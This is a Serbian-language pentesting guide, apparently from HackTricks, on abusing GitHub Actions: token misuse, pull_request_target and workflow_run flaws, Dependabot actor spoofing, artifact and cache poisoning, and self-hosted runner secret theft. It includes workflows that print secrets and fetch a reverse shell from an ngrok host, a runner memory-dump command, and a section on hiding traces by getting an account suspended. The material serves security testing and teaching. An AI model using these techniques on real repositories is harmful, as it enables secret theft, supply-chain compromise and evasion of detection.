# Zloupotreba Github Actions

{{#include ../../../banners/hacktricks-training.md}}

## Alati

Sledeći alati su korisni za pronalaženje Github Action radnih tokova i čak pronalaženje ranjivih:

- [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
- [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
- [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X)
- [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Proverite i njegovu kontrolnu listu na [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)

## Osnovne Informacije

Na ovoj stranici ćete pronaći:

- **rezime svih uticaja** napadača koji uspe da pristupi Github Action
- Različite načine da **dobijete pristup akciji**:
- Imajući **dozvole** za kreiranje akcije
- Zloupotreba **okidača** povezanih sa pull request-om
- Zloupotreba **drugih tehnika spoljnog pristupa**
- **Pivotiranje** iz već kompromitovanog repozitorijuma
- Na kraju, odeljak o **tehnikama post-eksploatacije za zloupotrebu akcije iznutra** (uzrokovanje pomenutih uticaja)

## Rezime Uticaja

Za uvod o [**Github Actions proverite osnovne informacije**](../basic-github-information.md#github-actions).

Ako možete da **izvršite proizvoljan kod u GitHub Actions** unutar **repozitorijuma**, možda ćete moći da:

- **Uk盗ite tajne** montirane na pipeline i **zloupotrebite privilegije pipeline-a** da biste dobili neovlašćen pristup spoljnim platformama, kao što su AWS i GCP.
- **Kompromitujete implementacije** i druge **artefakte**.
- Ako pipeline implementira ili čuva resurse, mogli biste da izmenite konačni proizvod, omogućavajući napad na lanac snabdevanja.
- **Izvršite kod u prilagođenim radnicima** da biste zloupotrebili računske resurse i pivotirali na druge sisteme.
- **Prepišete kod repozitorijuma**, u zavisnosti od dozvola povezanih sa `GITHUB_TOKEN`.

## GITHUB_TOKEN

Ova "**tajna**" (koja dolazi iz `${{ secrets.GITHUB_TOKEN }}` i `${{ github.token }}`) se daje kada administrator omogući ovu opciju:

<figure><img src="../../../images/image (86).png" alt=""><figcaption></figcaption></figure>

Ovaj token je isti koji će koristiti **Github aplikacija**, tako da može pristupiti istim krajnjim tačkama: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)

> [!WARNING]
> Github bi trebao da objavi [**tok**](https://github.com/github/roadmap/issues/74) koji **omogućava međurepozitorijumski** pristup unutar GitHub-a, tako da repo može pristupiti drugim internim repozitorijumima koristeći `GITHUB_TOKEN`.

Možete videti moguće **dozvole** ovog tokena na: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)

Napomena da token **isteče nakon što je posao završen**.\
Ovi tokeni izgledaju ovako: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`

Neke zanimljive stvari koje možete uraditi sa ovim tokenom:

{{#tabs }}
{{#tab name="Merge PR" }}
```bash
# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header "content-type: application/json" \
-d "{\"commit_title\":\"commit_title\"}"
```
{{#endtab }}
{{#tab name="Odobri PR" }}
```bash
# Approve a PR
curl -X POST \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"event":"APPROVE"}'
```
{{#endtab }}
{{#tab name="Kreiraj PR" }}
```bash
# Create a PR
curl -X POST \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
https://api.github.com/repos/<org_name>/<repo_name>/pulls \
-d '{"head":"<branch_name>","base":"master", "title":"title"}'
```
{{#endtab }}
{{#endtabs }}

> [!CAUTION]
> Imajte na umu da ćete u nekoliko slučajeva moći da pronađete **github korisničke tokene unutar Github Actions envs ili u tajnama**. Ovi tokeni vam mogu dati više privilegija nad repozitorijumom i organizacijom.

<details>

<summary>Lista tajni u Github Action izlazu</summary>
```yaml
name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
</details>

<details>

<summary>Dobijanje reverzne ljuske sa tajnama</summary>
```yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
</details>

Moguće je proveriti dozvole date Github Token-u u repozitorijumima drugih korisnika **proverom logova** akcija:

<figure><img src="../../../images/image (286).png" alt="" width="269"><figcaption></figcaption></figure>

## Dozvoljena Izvršenja

> [!NOTE]
> Ovo bi bio najlakši način da se kompromituju Github akcije, jer ovaj slučaj podrazumeva da imate pristup **kreiranju novog repozitorijuma u organizaciji**, ili imate **privilegije pisanja nad repozitorijumom**.
>
> Ako ste u ovom scenariju, možete jednostavno proveriti [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action).

### Izvršenje iz Kreiranja Repozitorijuma

U slučaju da članovi organizacije mogu **kreirati nove repozitorijume** i možete izvršavati github akcije, možete **kreirati novi repozitorijum i ukrasti tajne postavljene na nivou organizacije**.

### Izvršenje iz Nove Grane

Ako možete **kreirati novu granu u repozitorijumu koji već sadrži konfigurisan Github Action**, možete **modifikovati** to, **otpremiti** sadržaj, a zatim **izvršiti tu akciju iz nove grane**. Na ovaj način možete **izvući tajne na nivou repozitorijuma i organizacije** (ali morate znati kako se zovu).

Možete učiniti da modifikovana akcija bude izvršna **ručno,** kada se **kreira PR** ili kada se **neki kod otpremi** (u zavisnosti od toga koliko želite da budete uočljivi):
```yaml
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name
# Use '**' instead of a branh name to trigger the action in all the cranches
```
---

## Forked Execution

> [!NOTE]
> Postoje različiti okidači koji bi mogli omogućiti napadaču da **izvrši Github akciju iz drugog repozitorijuma**. Ako su ti okidači loše konfigurisani, napadač bi mogao da ih kompromituje.

### `pull_request`

Okidač radnog toka **`pull_request`** će izvršiti radni tok svaki put kada se primi pull request uz neke izuzetke: prema zadatku, ako je to **prvi put** da **saradjujete**, neki **održavaoc** će morati da **odobri** **izvršenje** radnog toka:

<figure><img src="../../../images/image (184).png" alt=""><figcaption></figcaption></figure>

> [!NOTE]
> Kako je **podrazumevano ograničenje** za **prvake** u doprinosima, mogli biste doprineti **ispravljanjem važne greške/tipa** i zatim poslati **druge PR-ove da zloupotrebite svoje nove `pull_request` privilegije**.
>
> **Testirao sam ovo i ne radi**: ~~Druga opcija bi bila da kreirate nalog sa imenom nekoga ko je doprineo projektu i obrisao njegov nalog.~~

Pored toga, prema zadatku **sprečava pisane dozvole** i **pristup tajnama** ciljanom repozitorijumu kao što je pomenuto u [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):

> Sa izuzetkom `GITHUB_TOKEN`, **tajne se ne prosleđuju izvršiocu** kada se radni tok pokrene iz **forkovanog** repozitorijuma. **`GITHUB_TOKEN` ima dozvole samo za čitanje** u pull request-ima **iz forkovanih repozitorijuma**.

Napadač bi mogao da izmeni definiciju Github akcije kako bi izvršio proizvoljne stvari i dodao proizvoljne akcije. Međutim, neće moći da ukrade tajne ili prepiše repozitorijum zbog pomenutih ograničenja.

> [!CAUTION]
> **Da, ako napadač promeni u PR-u github akciju koja će biti pokrenuta, njegova Github akcija će biti ta koja će se koristiti, a ne ona iz originalnog repozitorijuma!**

Kako napadač takođe kontroliše kod koji se izvršava, čak i ako nema tajni ili pisane dozvole na `GITHUB_TOKEN`, napadač bi mogao, na primer, **da otpremi zlonamerne artefakte**.

### **`pull_request_target`**

Okidač radnog toka **`pull_request_target`** ima **pisanu dozvolu** za ciljani repozitorijum i **pristup tajnama** (i ne traži dozvolu).

Napomena da okidač radnog toka **`pull_request_target`** **radi u osnovnom kontekstu** i ne u onom koji daje PR (da **ne izvršava nepouzdani kod**). Za više informacija o `pull_request_target` [**proverite dokumentaciju**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
Pored toga, za više informacija o ovoj specifičnoj opasnoj upotrebi proverite ovaj [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).

Možda izgleda kao da je **izvršeni radni tok** onaj definisan u **osnovi** i **ne u PR-u**, pa je **sigurno** koristiti **`pull_request_target`**, ali postoje **neki slučajevi kada to nije**.

A ovaj će imati **pristup tajnama**.

### `workflow_run`

[**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) okidač omogućava pokretanje radnog toka iz drugog kada je `završen`, `tražen` ili `u toku`.

U ovom primeru, radni tok je konfiguran da se pokrene nakon što se završi odvojeni "Pokreni testove" radni tok:
```yaml
on:
workflow_run:
workflows: [Run Tests]
types:
- completed
```
Moreover, according to the docs: Workflow pokrenut događajem `workflow_run` može **pristupiti tajnama i pisati tokene, čak i ako prethodni workflow nije**.

Ova vrsta workflow-a može biti napadnuta ako **zavisi** od **workflow-a** koji može biti **pokrenut** od strane spoljnog korisnika putem **`pull_request`** ili **`pull_request_target`**. Nekoliko ranjivih primera može se [**pronaći u ovom blogu**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Prvi se sastoji od **`workflow_run`** pokrenutog workflow-a koji preuzima napadačev kod: `${{ github.event.pull_request.head.sha }}`\
Drugi se sastoji od **prosleđivanja** **artefakta** iz **nepouzdanog** koda u **`workflow_run`** workflow i korišćenja sadržaja ovog artefakta na način koji ga čini **ranjivim na RCE**.

### `workflow_call`

TODO

TODO: Proveriti da li kada se izvršava iz `pull_request` koristi/preuzima kod iz originala ili iz forkovanog PR

## Zloupotreba Forkovane Izvršavanja

Pomenuli smo sve načine na koje spoljašnji napadač može uspeti da pokrene github workflow, sada hajde da pogledamo kako bi ove izvršavanja, ako su loše konfigurisane, mogle biti zloupotrebljene:

### Nepouzdan checkout izvršavanje

U slučaju **`pull_request`,** workflow će biti izvršen u **kontekstu PR** (tako da će izvršiti **maliciozni kod PR-a**), ali neko mora prvo da **autorizuje** i izvršiće se sa nekim [ograničenjima](#pull_request).

U slučaju workflow-a koji koristi **`pull_request_target` ili `workflow_run`** koji zavisi od workflow-a koji može biti pokrenut iz **`pull_request_target` ili `pull_request`**, kod iz originalnog repozitorijuma će biti izvršen, tako da **napadač ne može kontrolisati izvršeni kod**.

> [!CAUTION]
> Međutim, ako **akcija** ima **eksplicitni PR checkout** koji će **uzeti kod iz PR** (a ne iz osnove), koristiće napadačev kontrolisani kod. Na primer (proverite liniju 12 gde se preuzima kod PR-a):

<pre class="language-yaml"><code class="lang-yaml"># INSECURE. Provided as an example only.
on:
pull_request_target

jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
<strong>    - uses: actions/checkout@v2
</strong><strong>      with:
</strong><strong>        ref: ${{ github.event.pull_request.head.sha }}
</strong>
- uses: actions/setup-node@v1
- run: |
npm install
npm build

- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}

- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!
</code></pre>

Potencijalno **nepouzdan kod se izvršava tokom `npm install` ili `npm build`** jer su skripte za izgradnju i referencirani **paketi pod kontrolom autora PR-a**.

> [!WARNING]
> Github dork za pretragu ranjivih akcija je: `event.pull_request pull_request_target extension:yml` međutim, postoje različiti načini za konfiguraciju poslova da se izvršavaju sigurno čak i ako je akcija konfigurisana nesigurno (kao što je korišćenje uslovnih izraza o tome ko je akter koji generiše PR).

### Kontekst Injekcije Skripti <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>

Napomena da postoje određeni [**github konteksti**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) čije vrednosti su **kontrolisane** od strane **korisnika** koji kreira PR. Ako github akcija koristi te **podatke za izvršavanje bilo čega**, to može dovesti do **izvršavanja proizvoljnog koda:**

{{#ref}}
gh-actions-context-script-injections.md
{{#endref}}

### **GITHUB_ENV Injekcija Skripti** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>

Prema dokumentaciji: Možete učiniti **promenljivu okruženja dostupnom za sve naredne korake** u workflow poslu tako što ćete definisati ili ažurirati promenljivu okruženja i napisati to u **`GITHUB_ENV`** datoteku okruženja.

Ako bi napadač mogao **ubaciti bilo koju vrednost** unutar ove **env** promenljive, mogao bi ubaciti env promenljive koje bi mogle izvršiti kod u sledećim koracima kao što su **LD_PRELOAD** ili **NODE_OPTIONS**.

Na primer ([**ovo**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) i [**ovo**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), zamislite workflow koji veruje da je učitani artefakt da skladišti svoj sadržaj unutar **`GITHUB_ENV`** env promenljive. Napadač bi mogao da učita nešto poput ovoga da bi ga kompromitovao:

<figure><img src="../../../images/image (261).png" alt=""><figcaption></figcaption></figure>

### Dependabot i drugi pouzdani botovi

Kao što je navedeno u [**ovom blog postu**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), nekoliko organizacija ima Github akciju koja spaja bilo koji PRR od `dependabot[bot]` kao u:
```yaml
on: pull_request_target
jobs:
auto-merge:
runs-on: ubuntu-latest
if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: gh pr merge $ -d -m
```
Koji je problem jer polje `github.actor` sadrži korisnika koji je izazvao najnoviji događaj koji je pokrenuo radni tok. I postoji nekoliko načina da se korisnik `dependabot[bot]` natera da izmeni PR. Na primer:

- Forkujte žrtvovano skladište
- Dodajte zloćudni payload u svoju kopiju
- Omogućite Dependabot na svom fork-u dodajući zastarelu zavisnost. Dependabot će kreirati granu koja ispravlja zavisnost sa zloćudnim kodom.
- Otvorite Pull Request ka žrtvovanom skladištu iz te grane (PR će biti kreiran od strane korisnika, tako da se još ništa neće desiti)
- Zatim, napadač se vraća na inicijalni PR koji je Dependabot otvorio u svom fork-u i pokreće `@dependabot recreate`
- Zatim, Dependabot izvršava neke radnje u toj grani, koje su izmenile PR u žrtvovanom repo-u, što čini `dependabot[bot]` akterom najnovijeg događaja koji je pokrenuo radni tok (i stoga, radni tok se pokreće).

Nastavljajući, šta ako umesto spajanja Github Action bi imao injekciju komandi kao u:
```yaml
on: pull_request_target
jobs:
just-printing-stuff:
runs-on: ubuntu-latest
if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: echo ${ { github.event.pull_request.head.ref }}
```
Pa, originalni blog post predlaže dve opcije za zloupotrebu ovog ponašanja, a druga je:

- Forkujte repozitorijum žrtve i omogućite Dependabot sa nekim zastarelim zavisnostima.
- Kreirajte novu granu sa zloćudnim kodom za shell injekciju.
- Promenite podrazumevanu granu repozitorijuma na tu.
- Kreirajte PR iz ove grane u repozitorijum žrtve.
- Pokrenite `@dependabot merge` u PR-u koji je Dependabot otvorio u svom forku.
- Dependabot će spojiti svoje izmene u podrazumevanu granu vašeg forkovanog repozitorijuma, ažurirajući PR u repozitorijumu žrtve, čineći sada `dependabot[bot]` aktera poslednjeg događaja koji je pokrenuo radni tok i koristeći zloćudno ime grane.

### Ranljive Treće Strane Github Akcije

#### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)

Kao što je pomenuto u [**ovom blog postu**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), ova Github Akcija omogućava pristup artefaktima iz različitih radnih tokova i čak repozitorijuma.

Problem je u tome što, ako **`path`** parametar nije postavljen, artefakt se ekstrahuje u trenutni direktorijum i može prepisati datoteke koje bi kasnije mogle biti korišćene ili čak izvršene u radnom toku. Stoga, ako je artefakt ranjiv, napadač bi mogao zloupotrebiti ovo da kompromituje druge radne tokove koji veruju artefaktu.

Primer ranjivog radnog toka:
```yaml
on:
workflow_run:
workflows: ["some workflow"]
types:
- completed

jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py
```
Ovo bi moglo biti napadnuto ovom radnom procedurom:
```yaml
name: "some workflow"
on: pull_request

jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py
```
---

## Drugi Spoljni Pristup

### Otimanje Izbrisanog Namespace Repozitorijuma

Ako nalog promeni svoje ime, drugi korisnik bi mogao da registruje nalog sa tim imenom nakon nekog vremena. Ako je repozitorijum imao **manje od 100 zvezdica pre promene imena**, Github će omogućiti novom registrovanom korisniku sa istim imenom da kreira **repozitorijum sa istim imenom** kao onaj koji je izbrisan.

> [!CAUTION]
> Dakle, ako neka akcija koristi repozitorijum sa nepostojećeg naloga, još uvek je moguće da napadač može da kreira taj nalog i kompromituje akciju.

Ako su drugi repozitorijumi koristili **zavisnosti iz repozitorijuma ovog korisnika**, napadač će moći da ih otme. Ovde imate potpunije objašnjenje: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)

---

## Repo Pivoting

> [!NOTE]
> U ovom odeljku ćemo govoriti o tehnikama koje bi omogućile **pivotiranje sa jednog repozitorijuma na drugi** pod pretpostavkom da imamo neku vrstu pristupa prvom (proverite prethodni odeljak).

### Trovanje Kešom

Keš se održava između **izvršavanja radnih tokova u istoj grani**. Što znači da ako napadač **kompromituje** **paket** koji se zatim čuva u kešu i **preuzima** i izvršava ga **privilegovaniji** radni tok, on će moći da **kompromituje** i taj radni tok.

{{#ref}}
gh-actions-cache-poisoning.md
{{#endref}}

### Trovanje Artefaktima

Radni tokovi mogu koristiti **artefakte iz drugih radnih tokova i čak repozitorijuma**, ako napadač uspe da **kompromituje** Github Akciju koja **otprema artefakt** koji se kasnije koristi od strane drugog radnog toka, on bi mogao da **kompromituje druge radne tokove**:

{{#ref}}
gh-actions-artifact-poisoning.md
{{#endref}}

---

## Post Eksploatacija iz Akcije

### Pristupanje AWS i GCP putem OIDC

Proverite sledeće stranice:

{{#ref}}
../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
{{#endref}}

{{#ref}}
../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
{{#endref}}

### Pristupanje tajnama <a href="#accessing-secrets" id="accessing-secrets"></a>

Ako ubacujete sadržaj u skriptu, zanimljivo je znati kako možete pristupiti tajnama:

- Ako je tajna ili token postavljen na **promenljivu okruženja**, može se direktno pristupiti kroz okruženje koristeći **`printenv`**.

<details>

<summary>Lista tajni u izlazu Github Akcije</summary>
```yaml
name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}

secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
</details>

<details>

<summary>Dobijanje reverzne ljuske sa tajnama</summary>
```yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
</details>

- Ako se tajna koristi **direktno u izrazu**, generisani shell skript se čuva **na disku** i može se pristupiti.
- ```bash
cat /home/runner/work/_temp/*
```
- Za JavaScript akcije, tajne se šalju kroz promenljive okruženja.
- ```bash
ps axe | grep node
```
- Za **prilagođenu akciju**, rizik može varirati u zavisnosti od toga kako program koristi tajnu koju je dobio iz **argumenta**:

```yaml
uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}
```

### Zloupotreba samostalno hostovanih izvršilaca

Način da se pronađe koje **Github akcije se izvršavaju u ne-github infrastrukturi** je pretraga za **`runs-on: self-hosted`** u konfiguraciji yaml za Github akcije.

**Samostalno hostovani** izvršioci mogu imati pristup **dodatnim osetljivim informacijama**, drugim **mrežnim sistemima** (ranjivi krajnji tački u mreži? usluga metapodataka?) ili, čak i ako je izolovan i uništen, **više od jedne akcije može biti pokrenuto u isto vreme** i zlonamerna može **ukrasti tajne** od druge.

U samostalno hostovanim izvršiocima takođe je moguće dobiti **tajne iz \_Runner.Listener**\_\*\* procesa\*\* koji će sadržati sve tajne radnih tokova u bilo kojoj fazi dumpovanjem svoje memorije:
```bash
sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
```
Proverite [**ovaj post za više informacija**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).

### Github Docker Images Registry

Moguće je napraviti Github akcije koje će **izgraditi i sačuvati Docker sliku unutar Github-a**.\
Primer se može naći u sledećem proširivom:

<details>

<summary>Github Action Build & Push Docker Image</summary>
```yaml
[...]

- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v1

- name: Login to GitHub Container Registry
uses: docker/login-action@v1
with:
registry: ghcr.io
username: ${{ github.repository_owner }}
password: ${{ secrets.ACTIONS_TOKEN }}

- name: Add Github Token to Dockerfile to be able to download code
run: |
sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile

- name: Build and push
uses: docker/build-push-action@v2
with:
context: .
push: true
tags: |
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}

[...]
```
</details>

Kao što ste mogli videti u prethodnom kodu, Github registry je hostovan na **`ghcr.io`**.

Korisnik sa dozvolama za čitanje nad repozitorijumom će moći da preuzme Docker sliku koristeći lični pristupni token:
```bash
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>
```
Zatim, korisnik može da traži **procurene tajne u slojevima Docker slike:**

{{#ref}}
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
{{#endref}}

### Osetljive informacije u Github Actions logovima

Čak i ako **Github** pokušava da **otkrije tajne vrednosti** u logovima akcija i **izbegne da ih prikaže**, **dati osetljivi podaci** koji su mogli biti generisani tokom izvršenja akcije neće biti sakriveni. Na primer, JWT potpisan tajnom vrednošću neće biti sakriven osim ako nije [specifično konfigurisano](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).

## Sakrivanje tragova

(Tehnika iz [**ovde**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Prvo, svaki PR koji je podnet je jasno vidljiv javnosti na Github-u i ciljanom GitHub nalogu. Na GitHub-u po defaultu, **ne možemo obrisati PR sa interneta**, ali postoji caka. Za GitHub naloge koji su **suspendovani** od strane GitHub-a, svi njihovi **PR-ovi se automatski brišu** i uklanjaju sa interneta. Dakle, da biste sakrili svoju aktivnost, potrebno je da ili dobijete **suspendovan GitHub nalog ili da vam nalog bude označen**. Ovo bi **sakrilo sve vaše aktivnosti** na GitHub-u sa interneta (u suštini uklonilo sve vaše exploit PR-ove)

Organizacija na GitHub-u je veoma proaktivna u izveštavanju naloga GitHub-u. Sve što treba da uradite je da podelite "neke stvari" u Issue i oni će se pobrinuti da vaš nalog bude suspendovan za 12 sati :p i eto, učinili ste svoj exploit nevidljivim na github-u.

> [!WARNING]
> Jedini način na koji organizacija može da sazna da su bili meta je da proveri GitHub logove iz SIEM-a, jer bi iz GitHub UI PR bio uklonjen.

{{#include ../../../banners/hacktricks-training.md}}
